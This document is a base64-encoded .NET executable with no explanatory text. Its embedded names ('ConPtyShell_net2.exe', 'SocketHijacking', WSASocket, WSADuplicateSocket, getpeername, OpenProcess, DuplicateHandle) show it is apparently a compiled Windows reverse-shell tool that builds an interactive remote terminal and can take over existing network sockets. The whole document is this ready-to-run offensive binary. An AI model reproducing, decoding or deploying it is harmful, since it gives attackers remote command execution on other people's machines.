AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOB/AAAAAAAASAAAAAIABQDwMQAAwE0AAAEAAABcAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgIoAwAACipKAnIBAABwAygE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AHByYwcAcAIPASgSAAAKKDYAAAooBAAAChMNEQ0qcr4IAHAoFAAAChIT/hUSAAACEhMRE4wSAAACKBoAAAp9aAAABBITJXtzAAAEIAABAABgfXMAAAQSEwd9dwAABBITEQR9eAAABBITEQR9eQAABBQOBH4IAAAKfggAAAoXFn4IAAAKFBITEhEoJAAABiYHfggAAAooHQAACiwHBygpAAAGJhEEfggAAAooHQAACiwIEQQoKQAABiYJBihOAAAGExQIBhIRe3oAAAQoUAAABhMVDgUsEREKLA0RD28mAAAKKEEAAAYmDgUsERELLA0REG8mAAAKKEEAAAYmEhF7egAABBUoJgAABiYOBSwREQosDREPbyYAAAooQgAABiYOBSwREQssDREQbyYAAAooQgAABiYRFG85AAAKERVvOQAACgYoPgAABiYRBhEHEQgoRwAABhEJLAYoMwAABiYSEXt7AAAEKCkAAAYmEhF7egAABCgpAAAGJhEFfggAAAooHQAACiwIEQUoLwAABiYIfggAAAooHQAACiwHCCgpAAAGJgl+CAAACigdAAAKLAcJKCkAAAYmEQ1ybwkAcCgEAAAKEw0RDSqiAnKpCQBwKB8AAAotGQJyrwkAcCgfAAAKLQwCcr0JAHAoHwAACioXKkoCjmkYLwtywwkAcHMCAAAGeipCKDoAAAp+jgAABG87AAAKKgAAEzACAB0AAAAVAAARAhIAKDwAAAotEXJ+CgBwAigEAAAKcwIAAAZ6AioAAAATMAIAHwAAABYAABEWCgISACgvAAAKLRFyygoAcAIoBAAACnMCAAAGegYqABMwAgAUAAAAFwAAER8YCgKOaRgxCQIYmihWAAAGCgYqEzACABQAAAAXAAARH1AKAo5pGTEJAhmaKFYAAAYKBioTMAIAEgAAABgAABFyFgsAcAoCjmkaMQQCGpoKBioAABMwBgB9AAAAGQAAEXI6BgBwCgKOaRczEQIWmihSAAAGLAcoVAAABiteAihTAAAGcjoGAHALFgwWDQIWmnI0CwBwbz0AAAosBBcNKxICFpooVQAABgsCF5ooVgAABgwCKFcAAAYTBAIoWAAABhMFAihZAAAGEwYXDQcIEQQRBREGCShRAAAGCgYqLnJECwBwgI4AAAQqRig6AAAKAihaAAAGbzsAAAoqHgIoCQAACioAQlNKQgEA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xwD8KgAAAACRAF4MKQPJAGArAAAAAJEAkAwuA8oAoCsAAAAAkQCvDCkDzAAcLAAAAACRAMkMNQPNAGgsAAAAAJYA6Aw9A9AAOTAAAAAAkQAhDksD1gBiMAAAAACRAC4OUAPXAHUwAAAAAJEAOA4CA9gAiDAAAAAAkQBEDlYD2AC0MAAAAACRAFUOWwPZAOAwAAAAAJEAXg5gA9oAADEAAAAAkQBoDmAD2wAgMQAAAACRAHIOZgPcAEAxAAAAAJYAgw5mA90AyTEAAAAAkRheGAID3gDVMQAAAACRAJMOUAPeAOcxAAAAAIYY3wFCAN8AAAABAAcPAAABAFwPAAABAGQPAAACAGwPAAABAIgPAAACAJsPAAADAKcPAAAEALYPAAAFAMIPAgAGANIPAAABAOoPAAABAPcPAAABAAsQAAACABIQAAABABkQAAABABkQAAACACEQAAADAAsQAAABACoQAAABADwQAgACAE4QAAABAGEQAAACAG4QAAADAHgQAQABAIUQAQACAJ8QAQADAKoQAAAEALcQAAAFAMYQAAAGAHkNAAABAM0QAAACAM8QAAADANQQAAABANwQAAACAAkOAAADAG4QACAAAAAAAAABAAsRAAACACARAAADAC4RAgAEAEMRAAAFAFIRACAGAAkOAAAHAGIRAAABAFwPAAABAHYRAAACAIMRAAADAJQRAAAEAKMRAAAFALURAAABAMIRAAACANkRAAADAOsRAAAEALURAAABAAMSAAACAA0SAAABADkSAAACAAMSAAADAA0SAAABAHYSAAABAGEQAAACAAYTAAABAHYSAAABAEsTAAACAFkTAAADAHETAAAEAIQTAgAFALURAAABAKgTAAABADkSACAAAAAAAAABAAUNAAACANQTAAADAHkNAAAEAOUTACAAAAAAAAABAAUNAAACAHkNAAADAOwTAAAEAPYTAAAFAP4TAAAGAAUUAAAHABUUACAAAAAAAAABACIUAAACADQUAAADAEIUAAAEAIgPAAAFAFYUAAAGAMIPAAAHAGYUAAAIAHQUAQAJAIcUAgAKAJUUAAABACIUAAACADQUAAADAEIUAAAEAIgPAAAFAFYUAAAGAMIPAAAHAGYUAAAIAHQUAQAJAIcUAgAKAJUUACAAAAAAAAABAMQNAAACAKoUAAABAGQPAAACAGwPAAABALQUAAACAGQPAAABALQUAAABAFwPAgABAL8UAgACAMkUAAADANQUAAAEAOUUAAABAOsUAAACAFIRAAADAPYUAAAEAAIVAAAFABUVAAAGACsVAAAHAEAVAAABAE4VAgACAFQVAAADAF0VAgAEAHIVAAAFAIYVAAABAE4VAAACAFQVAAADAJMVAgAEAKkVAAAFAIYVAAABAMAVAAACAMUVAAADAMwVAAAEAHkNAgAFANQVAAABANkVAAABAN0VAAACAOwVAAABADkSAgACAOwVACAAAAAAAAABAPwVAAACAAEWAAABAAoWAAABACAWAAACACgWAQABAIUQAQACAJ8QAQADAKoQAQAEADEWAQAFAD4WAQAGAEQWAAABAM0QAAACAEoWAAADAE8WAAABAFgWAAABAGIWAAABADwQAgACAE4QAAABAM0QAAABAGUWAAACAGwWAAADAHAWAAAEAEQWAAABAGUWAAACAGwWAAADAHAWAAAEAEQWAAABAEsTAAABAEsTAAABAHQWAAACAH0WAAABAJAWAAACAJwWAAADAKEWAAABAPMWAAACAAEXAAADABAXAAAEAB8XAAABAC8XAAACADgXAAADAEIXAAABAC8XAAACADgXAAADAEIXAAABAEwXAAACAGAXAAADAHQXAAAEAJwWAAAFAKEWAAABAEwXAAACAIoXAAABAKcXAAACAK8XAAABAEwXAAACAK8XAAABAOoPAAABABAXAAACAJAWAAABAOoPAAABAAEXAAACAJAWAAADANoXAAABAHQWAAACAH0WAAADAJwWAAAEAKEWAAAFAK8XAAAGAOgXAAABAPsXAAABAAEYAAABAC4YAAABAEwYAAABAAEYAAABAAEYAAABAAEYAAABAFAYAAABAFAYcQDfAWwDeQDfAUIACQDfAUIAgQAWD3EDCQDfAUYAiQDfAUYAkQDfAUIAmQAGEE4AEQDfAUIAoQDfAUIAqQDfAX4DuQAgEk0CuQAtEoYDyQBdEpADuQBvEpcDQQCEEp0DmQCLEqEDwQCXEqcDgQAWD6sD2QCoErIDuQCyErcDmQC9ErwDmQDFEs0AmQDfAcADuQDOEsUDuQBvEswDmQDdEtEDmQDdEk0CmQDpEqEDuQD3EtYDgQCLEtsDgQAUEwIEQQCtA44BgQAWDwgEmQDfAWwD4QDfARwE8QDfAUIAQQCdEzEEQQCrE5MBmQC6E50DAQG6E0MEaQCmFlMEEQHGFlgEEQHQFl4EgQDfFmYEgQDlFqcDwQDqFm0EuQCVF80AgQAWD5gEuQAgErcDIQHfAXIAaQDfAccEaQDUF84EgQAUE+gEgQAUE/AEgQAUE/cEaQD1F0IA2QAgGB4FKQEoGEYAMQHqFiQFgQBVGD8FDgAEAA0ACQAQAIoACQAUAI8ACQAYAJQACQAcAJkACQAgAI8ACAAkAKEACAAoAKYACAAsAKsACABQAIoACABUAKEACABYAKYACABcACwBCABgADEBCQB4AD4BCQB8AKEACQCAAKYACQCEAEMBCQCIAKsACQCMAEgBCQCQAE0BCQCUAFIBCQCYAFcBCQCcAFwBCQCgAGEBCQCkAGYBCQCoAGsBDgBIAZ8BCQBMATEBCQBQAUMBCQBUAdgBCQBYAd0BCQBcAeIBCABgAVcBCABkAWsBCABoAaEACQBsAecBCABwAYoACQB0AewBCQB4AfEBCQB8AaEACQCAAaYACQCEAVIBCQCIASwBCACMAfYBCACQAfsBCACUAQACLgALAE4FLgATAFcFQwErAaEASwCEA1cAhANgACIEYgAmBGYAKgSOAC0EjwCEA5kAhAOpAIQD0wCEAxABIgQSASYEIwGEAwEAAAAAAAYAAQAAAAAACAB3A4sD4QP2AxAENQQ6BEgEdASDBIgEjQSSBJ4EpQSwBLoE0wTaBP4ELQUzBTcFOwVEBU8Pew8xEFYQbBHxFRcWtwQAAQcAAwIBAEABCQAPAgEAQAELACMCAgBGARsATQMDAEYBHQBYAwQARgMfAGsDAwAGASEAdQMDAEYDIwCFAwMAQAElAJEDAQBAAScAnQMBAAABKQADAgEAAAErAK0DAQAAAS0AvwMFAAABLwDNAwUAAAE7AC0IBQBAAUMAwAkBAEABRQDiCQEAQAFHALoFAQBGAUkA/AkBAEABSwALCgEAQAFNAA8CAQBAAU8AHAoBAEABUQApCgEAQAFTAAMCAQBGAVUANgoBAEYDVwBBCgEAQAFZAEwKAQBAAVsAVQoBAEABXQBfCgEAQAFfAHMKAQBAAWEAhgoBAEABYwCVCgEAAAFlAKQKAQBBAWcAsQoBAAABaQC9CgYAAAFrAMgKAQAGAW0A2QoBAEMBbwDpCgcAQgFxAGsDAwBAAXMAMQsDAEABdQA5CwMAQgF3AD8LAwAGAXkAdQMDAEYBewBNAwMARAF9AEkLAwBGAX8AVQsDAEYBgQBaCwMAAAGDAF8LBQAAAYUAcAsFAASAAAAAAAAAAAAAAAAAAAAAAPYOAAACAAAAAAAAAAAAAAABAJABAAAAAAIAAAAAAAAAAAAAAAEAmQEAAAAABAADAAYABQAHAAUACAAFAAkABQAKAAUACwAFAAwABQANAAUADgAFABEAEAASABAAEwAQABQAEAAVABAAFgAQABcAEAAAAAAAADxNb2R1bGU+AENvblB0eVNoZWxsX25ldDIuZXhlAENvblB0eVNoZWxsRXhjZXB0aW9uAERlYWRsb2NrQ2hlY2tIZWxwZXIATFBUSFJFQURfU1RBUlRfUk9VVElORQBTb2NrZXRIaWphY2tpbmcAU1lTVEVNX0hBTkRMRQBPQkpFQ1RfSU5GT1JNQVRJT05fQ0xBU1MAT0JKRUNUX05BTUVfSU5GT1JNQVRJT04AVU5JQ09ERV9TVFJJTkcAUHJvY2Vzc0FjY2Vzc0ZsYWdzAFdTQURhdGEAV1NBUFJPVE9DT0xDSEFJTgBXU0FQUk9UT0NPTF9JTkZPAFNPQ0tBRERSX0lOAFBhcmVudFByb2Nlc3NVdGlsaXRpZXMAQ29uUHR5U2hlbGwAU1RBUlRVUElORk9FWABTVEFSVFVQSU5GTwBQUk9DRVNTX0lORk9STUFUSU9OAFNFQ1VSSVRZX0FUVFJJQlVURVMAQ09PUkQAQ29uUHR5U2hlbGxNYWluQ2xhc3MATWFpbkNsYXNzAG1zY29ybGliAFN5c3RlbQBFeGNlcHRpb24AT2JqZWN0AE11bHRpY2FzdERlbGVnYXRlAFZhbHVlVHlwZQBFbnVtAGVycm9yX3N0cmluZwAuY3RvcgBkZWFkbG9ja0RldGVjdGVkAHRhcmdldEhhbmRsZQBDbG9zZUhhbmRsZQBXYWl0Rm9yU2luZ2xlT2JqZWN0AENyZWF0ZVRocmVhZABUaHJlYWRDaGVja0RlYWRsb2NrAENoZWNrRGVhZGxvY2tEZXRlY3RlZABJbnZva2UASUFzeW5jUmVzdWx0AEFzeW5jQ2FsbGJhY2sAQmVnaW5JbnZva2UARW5kSW52b2tlAE5UU1RBVFVTX1NVQ0NFU1MATlRTVEFUVVNfSU5GT0xFTkdUSE1JU01BVENIAE5UU1RBVFVTX0JVRkZFUk9WRVJGTE9XAE5UU1RBVFVTX0JVRkZFUlRPT1NNQUxMAFNUQVRVU19JTkZPX0xFTkdUSF9NSVNNQVRDSABXU0FfRkxBR19PVkVSTEFQUEVEAERVUExJQ0FURV9TQU1FX0FDQ0VTUwBTeXN0ZW1IYW5kbGVJbmZvcm1hdGlvbgBXU0FTdGFydHVwAFdTQUR1cGxpY2F0ZVNvY2tldABXU0FTb2NrZXQAV1NBR2V0TGFzdEVycm9yAGdldHBlZXJuYW1lAE9wZW5Qcm9jZXNzAER1cGxpY2F0ZUhhbmRsZQBHZXRDdXJyZW50UHJvY2VzcwBOdFF1ZXJ5T2JqZWN0AE50UXVlcnlTeXN0ZW1JbmZvcm1hdGlvbgBOdFF1ZXJ5U3lzdGVtSW5mb3JtYXRpb25EeW5hbWljAE50UXVlcnlPYmplY3